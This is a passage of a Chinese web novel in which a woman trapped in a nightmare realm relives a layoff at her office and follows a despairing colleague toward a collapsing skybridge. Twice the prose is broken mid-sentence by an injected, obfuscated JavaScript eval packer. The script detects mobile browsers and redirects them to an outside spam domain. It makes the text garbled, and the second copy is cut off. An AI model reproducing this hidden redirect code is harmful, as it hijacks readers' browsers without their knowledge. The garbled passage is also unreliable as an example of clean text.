好像已经没有挣扎的必要了。他的心情平静而绝望。 苇思航目睹一切,目瞪口呆。 在他们身边,光秃秃的楼体上还残留着楼层15的印记,那个“5”若隐若现,浅淡得即将消失。 一个强大的梦魇正在贪婪地侵噬着15层梦魇,魇境中所有梦魇正在被生生压缩成一个! “保重。”尉迟龙鸣转头对苇思航道,目光沉沉,一步之遥的盟友,一个不算道别的永别。 而后,他也放弃了挣扎,拔出长刀,紧随含晦之后,坠入下方浓稠的黑水。 独剩抱紧横梁的苇思航:“???!!!” ……绝望啊。 13. 12. 黑池(五) 漆黑的夜空看不见星月。 梦茧大厦的残骸静默地矗立,东塔与西塔如折断的蝶翼,连接东西塔的空中连廊早已支离破碎,玻璃幕墙尽数碎裂,只剩下裸露的钢筋骨架。 苇思航在连廊的废墟上狂奔,脚下每一步都伴随着金属的震颤。狂风从空洞的框架间呼啸而过,卷起她的衣摆和发丝。她的喉咙里涌上一股铁锈般的血腥味,身后有什么东西正在追着她,恐惧如影随形,在她脚下拉出长长的阴影。 连廊两边,俯瞰着的A城风貌已经消失,取而代之城市天际线的,的是一眼望不到边际的黑水,其中翻涌着的如同海浪一样的暗流,细看竟是无数张扭曲变形的脸!天地之间好像只剩下她一个人,下方的黑水中似乎传来怪异的低声,正在呼唤着她的名字…… 下一秒,她一脚踩空,急速坠落。 …… “唰、唰、唰……” 枯燥的雨刷声擦着前窗玻璃,苇思航猛地从驾驶座上惊醒,冷汗浸透了后背。 第二次回到熟悉的驾驶室内,仪表盘电量显示还剩30%。 “你终于出来了!”电子音从空调口附近响起,就差谢天谢地,“赶紧离开这里!这里的黑池魇境已经进化到了‘灵坟’,极度危险,再不走就来不及了!” 苇思航喘息着,心脏仍在鼓噪地狂跳,下意识看向后视镜,明了此时的处境——车外,0373所在的斜坡上,黑水水位上升,已经漫到了后轮,看起来不多久就要将0373整个吞吃进去。 这一次的黑水和她进入魇境前有所不同,从中心盛开的波纹,像是有一个看不见的漩涡,正在缓缓吐纳脉动,其中酝酿着极不稳定的精神力,沉默中散发着危险。 如果再醒来直接泡在黑水里,她可就再没有重来的机会了。不对,就她的电量而言,本来就只剩一次重来的机会,哪里还有什么下下次? “灵坟,那是什么?”苇思航开口,声音嘶哑。 “那是魇境极其罕见的进阶态,顾名思义——会埋葬其中所有灵体的地方,”电子音罕见严肃,“简单来说,魇境中出现了一个失控的魔王母魇,正在吞噬其他梦魇——包括其中的灵体。” “可是如果所有梦魇都被吞噬,魇境不就不复存在了吗?”苇思航想到。 “没那么简单。现在已经不是魇境的问题了,”电子音回答,“那些被吞噬的魇境并不是消失了,而是被同一个魇境‘污染’了,如果把魇境比喻成风暴,灵坟就是风暴过境后的瘟疫。” 苇思航的眼前蓦地出现了尉迟龙鸣说起“灵坟”时灰暗的神色,此时才终于明白背后的含义,她打了个冷战,继续追问。 “被困在其中的灵体会怎么样?” “精神力被压榨殆尽,直至崩溃,梦灵承受的精神折磨至少是之前魇境中的十倍,轻易无法脱出,醒来之后,失眠、持续噩梦、精神衰弱……这些算轻的,严重的,睡一觉醒不过来,中风,成植物人的,也有,不过不多……” 苇思航打断它:“那幽灵呢?” “幽灵?”电子音停了一下,“幽灵比梦灵更惨,和梦灵不一样,他们完全没有逃脱的可能性,在灵坟中饱受折磨后丧失意识,化身恶灵,受梦魇驱使,直至精神力耗尽,形神俱灭。” 没听见苇思航说话,电子音自言自语:“我早该知道的,这个魇境一开始就不太正常,跟之前遇到的都不太一样,不说别的,B1那只克苏鲁大章鱼的出现绝不是意外……” 说起楼上那只大章鱼,它顺便想起了不久前,下车说去“看看”,然后再也没回来的老大……虽然好像轮不到它担心…… “——陆萌。” 像是听见了电子音的心声,苇思航突然开口道。 电子音一惊。 “在那个梦魇里,我遇见她了……”回想起不久前短暂发生的梦魇中的情形,苇思航也有片刻失神,“难道是我的错觉?那个梦魇里的环境也给我一种莫名的熟悉的感觉……” 苇思航的思绪回到不久前。 在含晦和尉迟龙鸣跌入黑水深渊之后,她也没能支撑太久,也坠入了另一个梦境。 毫无悬念的,当今黑池中,唯一仅存的“那个”梦魇。 可她甚至感觉不到自己在做梦,只因这个新的梦,比“苏秀禾”的梦境还要逼真许多。 豪华的梦茧大厦内部被老旧的办公楼取代,她随手拎着奶茶外卖袋,里面装着她每天上班带饭的饭盒,走楼梯上楼。 转过每一层楼梯间,墙壁上赫然都是同一个数字——“4”. 她现实中工作的公司,也在4楼,因为楼层低,公司想省下电梯使用费,“鼓励”员工爬楼梯,美其名曰锻炼身体。看到每层楼梯间上重复的数字,让她心中有点异样,并没有持续多久,四楼很快到了。 奇怪,无数个“4楼”,她偏偏就知道是在这里。推开沉重的消防门,走廊里的灯光和楼梯间里一样,惨白而阴暗。 她赶在18:31分打上了卡——这只是晚餐卡,代表晚餐时间的结束——专属于这家公司的伟大发明!而真正下班要在九点之后,那时还要再打一次卡。 就因为“晚餐卡”晚了一分钟,她这个月的全勤奖又没了。 她朝着打卡机伸出食指,记录指纹,黑盒子的屏幕上显出她的身份信息——苇思航,一张她目光空洞的证件照随即跳了出来。 她收回手指,像是被什么藏在盒子里的虫子蛰了一下。 一个奇怪的念头浮上脑海。 “它”怎么会知道她的名字? …… 安静的车内,苇思航简短提起自己在母魇中的经历,光用语言描述,无法说明身在其中的诡异感。 苇思航说到打卡机上出现自己的真实身份信息,停一下,问:“难道是那个母魇成精了,认出了我不是‘苏秀禾’?” 她心里想,那个梦魇难怪被称作“魔王级”,原来还带识别马甲的功能的? “话说回来,我第一次进入黑池的时候,为什么魇境会认定我是‘苏秀禾’?” “你以为魇境有多聪明?何况里面有那么多梦灵,就算是服务器也会出错呀!”电子音回答:“据我推测,大概是因为你本身跟梦茧大厦并没有太多交集,随手拿了被主人附灵的工牌,就被魇境偷懒标记成了原主人。” “原来如此……” 之前她经历的梦魇,实则为“苏秀禾”量身定做,苇思航马后炮一番,不得不承认其中很多噩梦情节都流于表面,至于精神伤害,着力于身材羞辱,对她也不痛不痒——只因为她并不是真正的苏秀禾。 可即使是那样,已经被变相削弱了的梦魇,她还是差点死在里面,三次……惭愧惭愧。她都不禁好奇起来,她的精神力究竟是什么水平? “那就说得通了……”苇思航顺着电子音的提示,接着道,“被拉进母魇的时候,我身上苏秀禾的工卡不见了——是这个原因吗?” “好像也不对……你说,梦里的环境不是在梦茧大厦,而是跟你现实里的办公室一样?” “没错。” “那很奇怪。一般来说,梦魇自身有一套自己的规则,而不是反过来因为闯入者而改变……除非,在你进入之前,那个梦魇里面原本就是那个样子?可能,梦魇的主人也在你之前的那栋楼里上班?” 苇思航点点头,可惜电子音看不到。 “这是一种解释。其实……在那个梦里,我看到了认识的人。” 电子音脑子没转过弯来,脱口道:“你说陆萌?” 苇思航摇摇头:“不是……不仅是。” …… 苇思航看着指纹打卡机上,自己的照片很快消失了。 她隐隐觉得有哪里不对。低头看着自己身上。 她还穿着那身灰色马球衫,灰色西装裤。她上班一共有两身行头,工作日轮换着穿,每天上班前就不用费脑筋了,另一身是米色的套装。 ——照片上的她正穿着那身米色的套装,头发也比现在长一点。那是什么时候照的? 为什么别人的梦魇里会出现她之前的照片? 苇思航开始烦躁了,此时突然很想找个地方照一下镜子。 这样想着,她拐进藏在楼道里的昏暗的女厕。 从女厕门进入,左侧四个隔间,对面是洗手池和镜子。如今隔间门紧闭着,似乎没有人在里面,哪里的水龙头没有拧紧,传来水滴不间断滴落的声音。 斜对着镜子,她看见里面映出的洗手间的陈设,随着她的走近,一步步显露全景,隔间的门板,低矮的白炽灯泡,两张洗手台…… 直到她也进入镜子的视线。 里面却没有她的影子。 “——!”苇思航倒吸一口冷气。 明明没有风,她从镜子里看到,最右边的隔间门无端动了起来,“吱嘎”一声,好像里面有人正要推开门走出来,可隔间门的下方,哪里有人的影子? 苇思航二话不说朝着门口狂奔! 一颗心提到嗓子眼,重新回到走廊里,还没来得及松口气,耳中听到压抑的哭声的那一刻,苇思航悬到喉咙的心差点吐出来! 她浑身僵硬,目光看向走廊不远处。 一个男人瘫坐在墙角哭泣。 他手里卷着皱巴巴的领带,不时擦拭着眼镜,眼泪从他不大的眼睛里源源不断地挤出来。 苇思航愣住。恐惧的心情被惊讶取代。 只因那个人,她认识的。 “赵,赵哥?” …… “谁是赵哥?” 听到这里,电子音忍不住插话问。 “赵梓龙。我公司同事——我们都管他叫赵哥。”苇思航言简意赅地回答。 赵梓龙,名字很霸气,实际上,牛马一个。还是一辈子被套牢的牛马,快四十的年纪,赶上买房,二胎,裁员潮……每一步都精准踩在时代的雷点,所以只有拼了命地工作,加班加点,下班了还要跑几单顺风车,像头勤勤恳恳的老黄牛,或许应该改名叫赵黄牛才对…… ——这些不是苇思航说的,是她某一次从徐振那里听来,不知道为什么记下了。 咦,徐振? 现实中同事的名字再次进入脑海,十分突然,苇思航觉得头有点痛,屈身伏在方向盘上,不小心按到喇叭,0373发出一声短促的尖叫。 此时,电量仍在缓慢下降——29%! 电子音因为苇思航讲述的梦魇提起了一点兴趣,这时又回复了一点理智,忙不迭催促:“先不管那些了,赶紧离开这里!” “等会,等会。让我缓缓。”苇思航回答,如果电子音此时能看到车内的景象,就会看到她苍白的脸色十分吓人。 苇思航问:“你知道,这种魔王梦魇的主人,一般是什么情况吗?” 电子音一语道破:“说了这么多,你是在怀疑,那个梦魇的主人是你认识的人吧,比如,你的同事?” 苇思航默认了。 突然出现的赵哥提醒了她。这也就能解释,为什么这个梦魇里和她的公司一模一样,而且知道她是苇思航……因为背后的梦灵根本就认识她! 电子音:“灵坟的生成有一定随机性,但其中诞生魔王母魇的必要条件,是极具破坏性的精神力,母魇主人一般都有着强烈的自我毁灭的倾向,才有可能大规模‘污染’他人。你说的那个……赵哥,你觉得像那种人嘛?” “我不,不太清楚。”苇思航犹豫了,她想到一个问题,“这个……灵坟现象,虽然是魇境的升级版,不过应该很多规则还是跟魇境相通吧?母魇的主人,现在是什么情况?他还算梦灵吗?我是说,还会醒来吗?等他醒来之后……又会发生什么?” “灵坟一开始是借母魇的力量,不过发展到这一步,已经完全失控了。对于原主梦灵来说,多半已经丧失了心智,在梦中游荡呢。等到他醒来的时候,灵坟也会随之消散,他很有可能不知道发生了什么,还以为只是个普通的噩梦,没什么好担心的。”电子音声音懒懒的,“可怜的是被困在其中的幽灵,大多数撑不到那个时候,梦灵受到的创伤也难以量化,灵界内附近区域受到的破坏,暂时无法预估……不过那些也不用你操心,灵管局会派人来善后的。” “那现实中呢?会发生什么?” “现实?”电子音蒙了,“对于幽灵来说,灵界就是他们的现实,还是你想说的是,梦灵来源的那个‘现实’?等下,这跟现实有什么关系……” “原主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670552|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦灵醒后,他原本的毁灭倾向依旧存在,是否会在醒来后在现实中采取行动?” “那我就不知道了……可能有吧。”电子音有点敷衍地应和。 苇思航突然开口了。 “我知道。” 电子音没反应过来:“啥?” “他准备在醒来后动手——我在梦里看到了,他的杀人计划。” …… 梦中的办公楼,走廊。 她在走廊里的赵哥没发现之前,快速走开,回到自己的工位上,办公室里难得奢侈,空调开得很足,她从头到脚冒了一身冷汗。 办公室里还有其他人,让她的心微微放下来一点。自从见到赵哥之后,苇思航的目光下意识在这些人脸上扫过,观察是否还有自己认识的人,然而,其中的大多数人苇思航都是第一次见。 苇思航有理由怀疑,他们是和自己一样,困在这里的梦灵,或是幽灵。当然,也有可能——是原产于此的NPC。 “苇姐。”一个不认识的女职员突然叫住了她,苇思航应声回头。 难道果真是精神力强弱的差别?苇思航不由得赞叹他人梦魇中的造物,真是惟妙惟肖! 这位陌生的女职员神态生动自然,就像你随口一提,脑海中能想到的八百个热心女同事的集合体。 她想起了蹩脚的红发女“萌萌”,五官像临时拼凑上去的,一言一行都充斥着一种僵硬的非人感。 不过假如原型是“陆萌”的话,是不是也可以理解……苇思航有点走神。 “……苇姐,你来评评理啊!小晴杯子喝完拿铁不冲,都臭了!隔老远我就闻到了!”女职员愤愤不平,拉着“苇姐”评理,无非就是些办公室里的鸡毛蒜皮。 女职员抱怨的对象“小晴”被硬拉过来,神情局促不安。 “苇姐……” 那是一个低眉顺眼的年轻女孩,头发上绑着碎花头巾,一层轻薄的齐刘海,让她看起来有几分淳朴,显得年纪更小了。她此时被高个的女职员抓着,活像个被抓着告状的小学生,点着零星雀斑的脸蛋窘得发红。 “我不是故意的,刘姐……还有,哪里臭了……” “哪里臭?这还不臭?破坏公共卫生还有理了?我告诉你哪里臭!”“刘姐”听了,气呼呼地,抄起手中的杯子,一手按着小晴的头,感觉要把她的脸整个埋进去。 小晴挣扎起来,摇着头求饶。 “别这样,刘姐……我错了,我错了……” “行了行了。”苇思航出手制止,觉得莫名其妙的同时,还觉得小晴可怜,“就一个杯子而已,洗了就得了,快放手。” 刘姐作罢,放开小晴,继续告状:“苇姐,你不知道,根本不是一个杯子的事儿!小晴不讲公共卫生,可不是一次两次了,今天轮到她值日打扫卫生间,那里面臭的,根本没法上!” “我不是故意的,是楼里停水了……” 小晴苍白地辩解着,羞窘的低下头,连耳廓都红了。 还是他们公司的奇葩操作。赖掉电梯使用费后,公司长期跟物业不对付,导致物业请的清洁阿姨不来4楼的公区打扫,公司的解决方法是:每天由一位职员负责“值日”打扫卫生——其中也包括卫生间。 刘姐横了小晴一眼,又见苇思航没什么表示,发完一顿牢骚,甩下脏杯子作罢。 “不好意思,苇姐……”等人走了,小晴小声朝苇思航道歉。 苇思航摆摆手。 她受小晴一句“姐”没什么,不过看起来不好惹的刘姐也对她十分尊敬,她在公司什么时候这么德高望重了? 压下心里一点疑惑,苇思航安慰起可怜的小晴:“别放在心上。”笑笑,“其实我也闻不到什么异味。” 小晴飞快抬头,看她一眼,又低下头。 苇思航确定自己不认识这个小晴,但又好像明了了一件事。 没有嗅觉,看来她也是一个梦灵? 她不免多出几分惺惺相惜之感。 不过小晴只有一瞬间的怔忪,很快神色恢复了茫然,继续扮演她在这个梦中的人设。 “谢谢苇姐,你要的文件我做好了,刚刚放在你桌上了。” 苇思航完全不知道她在说什么,点点头,顺口道:“嗯好。你没什么事了的话,就准备下班吧。” 小晴应了,转身离去。 经过这段没头没脑的小插曲,苇思航回到自己的工位上。 她的工位在办公室的角落,格子间中的一个,从某种程度上讲,位置相当优越——正对着老板办公室,身后一株绿植,挡住后方同事窥探的视线,摸起鱼来得心应手。她的桌上东西不多,摆设一目了然,如今桌面上果然放着一沓文件。 她的目光在工位上方的职位上一顿,瞬间明白了自己的德高望重从哪里来。 就因为如此,她突然无比清楚地意识到自己在做梦。 职位:总监——等等,她是哪个部门的来着?那不重要……重要的是,在“总监”旁边,还有一个职级的标志——“P8”。 苇思航:“……” P8,从神秘大厂流传下来,整个互联网打工人梦寐以求的高级职称,象征着年薪百万,财务自由……可惜在他们这个小公司,只能代表她“苇姐”还能在扯皮的时候说上两句话。 因为整张纸是打印在白纸上,显得尤其儿戏,简直像个恶作剧。 这个公司她总共熟悉的people还不到8个,她P个哪门子的8啊? 苇思航头上冒着黑线,甚至有些丢脸的感觉,坐到工位上,此时一张夹在文件里的折了一角的纸张适时映入眼中。 从卫生间到工位的路上,她听见同事们的交谈。 “听说了吗?好像裁员名单下来了……” 裁员名单…… ——难道就是她手里这个? 苇思航感到不可思议。翻来覆去把手里薄薄的A4纸看了好多遍。 她的名字也赫然在列! 是有谁要提醒她?可是提醒什么呢? 在所有熟悉或不熟悉的名字之中,她看到缀在一些名字之后的,暗红色的小叉。 明明鼻端什么也闻不到,她却好似嗅到了,危险的味道。 14. 13. 黑池(六) “你觉得裁员名单是死亡笔记?别逗了……”电子音好像听见了什么滑稽的事情,笑声却有些发干,“你怎么知道的?因为你也在那个名单上,然后被杀了才回到这里?” 电子音道:“而且就算发生在梦里,也不代表会在现实发生同样的事情……” “我本来也没往那方面想,”苇思航慢吞吞道,“是陆萌跟我说的。” 又一次听到“陆萌”的名字,电子音微不可察的一滞,好在并没有被苇思航发现异样。 苇思航的思绪完全沉浸在刚才的梦中。她进入母魇,到她死亡强制脱出……这中间究竟经历了什么? …… 刚过七点,室外已经完全黑了下来。4楼办公室的灯还亮着,明晃晃的如同审讯室一样的灯光。办公室里面大多数人还在位置上,不过因为辞职名单的重磅消息,没有一个人有心思工作。 办公室里众人各自抱团,窃窃私语,暗地里交换着最新的消息,好像瞬间回到了上学时的自习教室。 各个部门的头头现在都不在位置上,被叫去开会,一天都没见到人影,下面的员工便更肆无忌惮了。 ——“总监”苇思航并不在开会的那些人里,她坐在自己的工位上,没引起任何人的注意。在办公室里一向存在感不强的她,在梦魇里同样发挥了这个特长。 她本想梳理一下思路,从长计议自己的下一步行动,奈何旁边人的聊天内容控制不住传进她的耳朵里。 同事A:“xx在不在名单里?还有xxx?” 同事B:“你关心别人干什么?怎么不问问你自己?” 同事A:“我?不会吧,我今年才28,还没到35呢!” 又道:“不过上次我惹徐总生气,不知道他会不会保我……哎呀,算了不管了。” 同事B:“我就是随口说说,你怎么还当真了……你当然不会在里面了,你可是我们部门的顶梁柱!你走了活谁干?” “其实吧,说不定裁了说不定是好事,领了赔偿金,还能休息一段时间,我都快忘了周末是啥感觉了……” “你想什么呢?听被约谈的人说,赔偿金是按照基础工资发的,那才几个钱!你想躺,躺的踏实吗?再者说,现在工作多难找啊,真休息一段时间,到时候想找新的都难!” “你说的也对……”同事A语气惨淡,“不过咱公司现在这效益,留在这儿也没什么奔头,唉,不说了,也没心思工作,等我发完日报,今天早点回家吧。” 同事B:“唉,谁说不是呢?不过咱们在这儿抱怨,再惨也比不过赵哥……他是不是还在那哭呢?” 赵哥也在裁员名单上,好像并不让人感到惊讶。这已经不是他第一次经历裁员了,前途因此更加未卜。是多大的打击,让一个体面的成年人在走廊上不顾他人的目光无助痛哭?无奈,唏嘘,明明是别人的人生,为什么仅仅旁观也会尝到酸苦呢…… “嘘,他过来了!” 苇思航回过神来,听到不远处传来的脚步声。 赵梓龙满脸通红,脚步虚浮,像一个喝醉了酒的人,领带松松垮垮挂在脖子上,全没了平时在公司谨小慎微的老好人的样子,目光阴沉,直勾勾盯着办公区最深处总经理的办公室。 绝望,也会成为暴怒的燃料! 苇思航看着他一步步走向总经理办公室,压抑着愤怒,敲了敲门。 “请进。”里面传来声音。 赵梓龙目光发直,拉开门的手青筋浮现,喉头滚动,缓缓走了进去。 办公室的门在他背后合上了。 看着这一幕的办公室的所有人大气不敢出。 “赵哥他……不会想不开吧?”有人怯怯问道,当了在场所有人的嘴替。 没有人能回答她。 苇思航听到自己的心在胸腔里急切地跳动着。 这个时候,虽然还没有电子音的提示,她已经觉得自己跟这个梦魇有所关联,不久前突然出现的赵哥让她更确定了这一想法,她开始怀疑,这个梦魇的主人,不会真是她的某个同事吧? 而通过之前的经历,她已经知道梦魇会外化人心最深处的恐惧,她认识的同事之中,谁最害怕裁员?难道说,赵哥…… 总经理办公室的门关着,隔绝了外面所有窥探的目光。 办公区的众人紧张不安,有胆子大一点的,借着接水的幌子,只为了离那间办公室更近一点,好像再近一点,就能听见里面的对话,知晓其中正在发生什么…… “轰——”一股强劲而持续的轰鸣在耳边爆发。 ——其实那股机器运作的声音不算特别大,放在平时还算可以忍受,只是在因为紧张而安静的人群里显得格外突兀。 “我靠,吓死人了!你干嘛啊!”熟悉的声音骂道。 小晴手里扶着从楼里借来的工业用吸尘器,慌忙按了暂停,稚嫩的脸上满是慌张。 “对,对不起!” “非要选在这个时候做卫生是吧?有没有点眼力见啊!”——那个不依不饶的声音,正是刘姐。 “我看已经是下班时间了,看大家也都没在做事,我想着……所以……” “谁跟你说是下班时间了?第一天上班是吧?不是刚毕业的大学生吗,怎么脑子跟生锈了一样?……”刘姐的声音喋喋不休,小晴承受着训斥,泫然欲泣的表情,连声说着对不起。 其他人有旁观的,也有作势劝架的,不过这样一来,便没人在意总经理办公室里的情况了。 直到那扇大门“嘭”地一下,从里面打开。 周围一下安静下来。 赵哥的身影出现在门口。 苇思航在工位上看得清楚,她才发现,总经理办公室里的灯光比起外面要昏暗许多,赵梓龙的剪影沉默而阴郁,他低着头,灯光从上打下,看不见他的眼睛,只有横在鼻梁上一道阴影。 来不及看到办公室里的现状,他回身把门关上,在场其余人看着他的动作鸦雀无声,心里的疑虑越来越大。 “赵,赵哥,你没事吧?”刘姐抛下小晴,壮着胆子发话。 赵梓龙闻言抬头,目光空洞,没有焦距,好一会,才机械地转向问话的方向:“没事。” 那样子简直怕人。 “我要下班了。”赵梓龙脸上做出一个笑的表情,一闪即逝,说完便自顾自朝着办公区外的走廊走去。 刘姐在原地,目光恐慌地闪烁,一会看向赵哥,一会看向办公室门。 办公室里一片死寂。 没人敢去想象,是不是里面已经发生了什么不好的事情…… 一种恐怖的猜想在蔓延,可终究只是在想象中。 赵哥的身影快接近走廊的时候,办公室内重新传来了一个低沉的声音。 “下一位。” 听到这声音的人们先是松了一口气,马上又提心吊胆起来,什么下一位? 苇思航则低下头,看着自己手上那张疑似裁员名单。“赵梓龙”的下一个是——刘晨曦。 也就是刘姐。 名单上,刘晨曦的名字后面,鲜红的小叉好似正在跳动。 刘晨曦的表情似乎已经知道,总经理叫的就是她本人,脸色白了白,随手放下杯子,朝办公室里应道:“稍等,马上来,徐总。” 她深吸一口气,在众人的目光中,拉开一条门缝,飞快闪身进入,门再次关上了。 苇思航也在此时下定决心,从抽屉里拿了一个东西揣进口袋,追着即将走远的赵哥而去。 她因此也恰巧错过了,身后总经理办公室里,随后爆发的一声惨无人道的尖叫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苇思航心里奇怪,不过不能露出破绽,胡乱点头:“嗯嗯。” 重新站在电梯里,苇思航很难不去回想之前发生在电梯里的恐怖场景,心中便十分忐忑,她努力告诫自己镇定下来,深吸一口气,两手插在口袋里,装作若无其事,右手握紧她随身带来的美工刀。 赵梓龙垂着手,与她保持了一段距离站着,他刚刚按过的21层按钮上,留下了深红色的印记,苇思航不记得了,那枚污渍是本来就在那里的吗? 怎么看,都怎么像……血…… 赵梓龙离开总经理办公室,无人知晓他在那里面的几分钟发生了什么,有他那样的遭遇,丧失理智报复社会,挥刀向领导,好像都情有可原。 不过总经理后来又叫了下一个人进去,让其他人最为阴暗的幻想不攻自破,看来赵哥没有真的动手做什么,咦?那种隐隐的失望是怎么回事…… 苇思航反而觉得,身边赵哥一反常态的淡定更加叫人毛骨悚然。 正常人刚刚经历了打击,怎么想都觉得不该是这种反应……苇思航默默想着。 此时,电梯门的镜面反映出轿厢中的情况,只见赵哥抬起头,目光正好与苇思航对上。 他的脸上带着一种奇怪的疏离的笑容,目光直勾勾地盯着镜面里的苇思航,主动搭话。 “我的车停在梦茧大厦车库——你的也是吗?” 听上去再正常不过的对话,苇思航却浑身一颤。 电梯顶上的电子屏,楼层的数字正在跳动。11,12,13…… 他们的办公楼只有13层,再往上,电梯要上升到哪里? 数字停在了13,继续跳动,13,13,13…… 苇思航右眼皮也跟着狂跳!身后,镜子里一派温文的赵哥突然暴起,狞笑着朝她伸出手来! 15. 14. 黑池(七) 苇思航全身汗毛竖起,大惊之下,忙转过身,手里死死攥着美工刀。 赵梓龙看起来也被吓了一跳。 “这是做什么?”他的声音有些困惑。 苇思航感觉眼前一花。 赵哥脸上诡异的笑容不见了,取而代之的是淡淡的疲惫,他此时一手拿着手机,一手揉着眉心,看起来无比正常。 就算是赵哥临时收手,也不可能这样顺畅自然……吧? 苇思航机械地转过头,镜面里一切如常,难道刚才看到的一切都是她的幻觉? 她忙把手里的美工刀收回口袋里,向赵哥道歉:“不好意思啊,我最近有点神经过敏……” 赵哥摇摇头,没说什么,他刚才在看手机,并没有注意到美工刀的存在。大概是觉得苇思航的紧张事出有因,毕竟和公司不熟的男同事同乘一座电梯……他主动打开话匣子,缓和密闭空间里的紧张气氛。 “我听其他人说的,你也买车了,对吧?” 他接着刚才车的话题,继续道。 苇思航轻声应道:“是啊。” “什么牌子的?” “害,xx牌的,”苇思航回答,下句话紧接着,“不知道你有没有听说过,已经破产了……” “当然听说过,其实之前我也考虑过那个牌子,不过是我老婆说还是老牌油车好,当时还有车贷补贴,我们家才……现在看来还是电车好,开起来便宜……你买了多久了?” 苇思航想了想:“三年多了吧。” 赵梓龙笑道:“那是22年买的?我家老二也是那年生的。” 提起家人,他脸上的阴霾散去一点,流露出几分温柔。双方都默契地没提刚才办公室里发生的事。 显示屏上13的数字还在像卡顿一样跳动,不久之后,直接跳到了数字21。21层到了。 赵哥摁着开门键,体贴地让苇思航先走。 赵哥冲她微笑,体面地结束了刚才的一番对话:“要是你没车,我还想说可以送你一程——正好我上个单取消了。” 苇思航也笑笑,不过没作声,嘴唇发干。 眼睛一瞥,她又一次看到镜子里,赵梓龙的笑容。暂时没发现什么异常,不妨碍她重又紧张起来。出了电梯,扭回身子,再不敢把后背留给他, 赵梓龙实在太过可疑,她不可以掉以轻心,追上来,也是为了验证她心里越发扩大的猜想。 ——赵梓龙,赵哥,会是这个梦魇背后的梦主吗? 揣在口袋的手里,苇思航握住美工刀柄,慢慢地小心地推出一截锋利的刀片。 与其坐以待毙,不如主动出击。必要的时候,她会用这把美工刀保护自己,虽然她心里明白得很,一把文具美工刀无法应对梦境中的种种诡异现象,很可能只是心理安慰而已。 苇思航主动落下一步,和赵梓龙平行着前进,中间保留着一人的安全距离,一起踏进这栋楼里并不存在的21层。 帆布鞋踩上高级办公楼奢华的地毯,走出电梯的场景令她大吃一惊。——这里分明是梦茧大厦内部的陈设! 只是墙壁上的楼层标志仍然是“4”,和落地窗外的高空俯瞰城市天际线的夜景组合在一起看,便显得格外怪异。 不知不觉,变成赵梓龙走在前面,他表现的轻车熟路。苇思航又一惊,看到了前方——连接梦茧大厦双子塔的连廊。 现在他们要穿过连廊,标记指示前方通往西塔。 原来她从来没有离开过梦茧大厦! 毫无疑问,这个梦魇中的梦茧大厦被主人外化成了奇怪的外观,她原本公司所在的办公楼被嫁接到了梦茧大厦东塔,而身在其中的灵体根本察觉不到任何异样。但不知为何,苇思航并没有被梦魇蛊惑,大概因为她很早就意识到自己其实是在梦魇之中……也正因为清醒,接下来眼前一幕的冲击才更加震撼。 现在在他们前方的,是连接梦茧大厦东西塔,长约30米的空中连廊,入夜后,连廊两侧点缀着明亮的水晶一样的光线,兼具科技感和梦幻感。从连廊的这一头,可以望向另一头,定睛一看,对面赫然是——地下停车场! 苇思航感到不可思议,还以为自己看错了,跟着赵梓龙,一脚踏入玻璃连廊。 下一秒,一股天旋地转的感觉袭来,苇思航身体一歪,慌忙扶住一旁的栏杆,才不至于跌倒。 视野在旋转,重力像是小孩手里的魔方,被人拧来拧去,空间好像也随之扭曲。 苇思航看到终点的停车场的所在,标示车位的网格线出现在天上,一辆辆汽车如同被磁力牢牢吸住,轮胎的四个支点固定在天花板上——竟是上下颠倒的奇异场景。 是对面真实的情况,还是连廊内部造成的视觉错位?暂时不得而知。 身处连梁内部,苇思航感觉自己像是处在高速运转的滚筒洗衣机的内部,此时只能紧紧抓着栏杆,才不至于在想象中被甩飞出去,她难受的想吐。 在她前面几步路的地方,赵梓龙的背影在混乱不堪的视野里变成了一个蜷缩的小黑点,她下意识想到:难道是他将自己引入陷阱? 下一秒,想必“赵哥”会转过身来,再次放肆地狞笑吧? 然而她所预想的场景并没有发生,几步远外的赵梓龙毫无防备地大叫一声,看起来同样受到连廊特殊环境的折磨。 “闭上眼睛!”苇思航想也没想地喝令道。 视觉被剥夺之后,那种头晕目眩的感觉果然好了一些,但混乱的重力依旧存在,仿佛有数条看不见的丝线在空中,牵引着她的四肢。 “啊——”赵梓龙照做,随即又发出一声惊呼,他运气不太好,身边没有支撑物,转眼歪斜着倒在了旁边的玻璃幕墙上。 那玻璃按理说承受一个成年人的体重毫无问题,这时被赵梓龙轻轻一碰,却像糖壳做的,马上碎裂! 玻璃破碎的声音落进苇思航的耳中,呼啸的风声随后涌进,却不见赵梓龙的声音。 苇思航不知发生了什么,心中发毛,手忙脚乱抓着栏杆,忍着不适,顶着狂风,再次睁开眼睛。 旁边破碎的幕墙像是撕开了一道口子,暴露出梦茧大厦之外,真实的外部世界——黑池魇境的边缘。凛冽的狂风呼啸,高空之下,正翻涌着沥青一样黏腻的黑水。此时赵梓龙两只脚勉强勾住栏杆,从连廊上坠落下去只是时间问题。他此时睁开眼睛,目光直勾勾地盯着脚下的黑水深渊。 至少有一次,想要纵身高空的冲动,深渊内的某种力量呼唤着你,与其被吞噬,不如主动向它走去…… 像是崩坏的玻璃幕墙,赵梓龙此时再也维护不下去那副若无其事的面具。 他辛勤工作,到头来还是被公司无情抛弃,没有了收入来源,房贷,车贷,一家人的生活……每个都像一块沉重的大石,压得他喘不过来气。 当着同事的面毫无形象地痛哭,在总经理办公室里,仅剩的尊严被徐总像黏在鞋底的痰那样摩擦……赵梓龙想起了他之前刻意回避的一切,他那无望的,备受打击,跌落谷底的人生,眼中像是灰暗下去,完全被黑水的影子充满,什么光在此刻熄灭了。 是要苟活下去,接受命运的捉弄,还是决绝的反抗,哪怕代价是死亡? 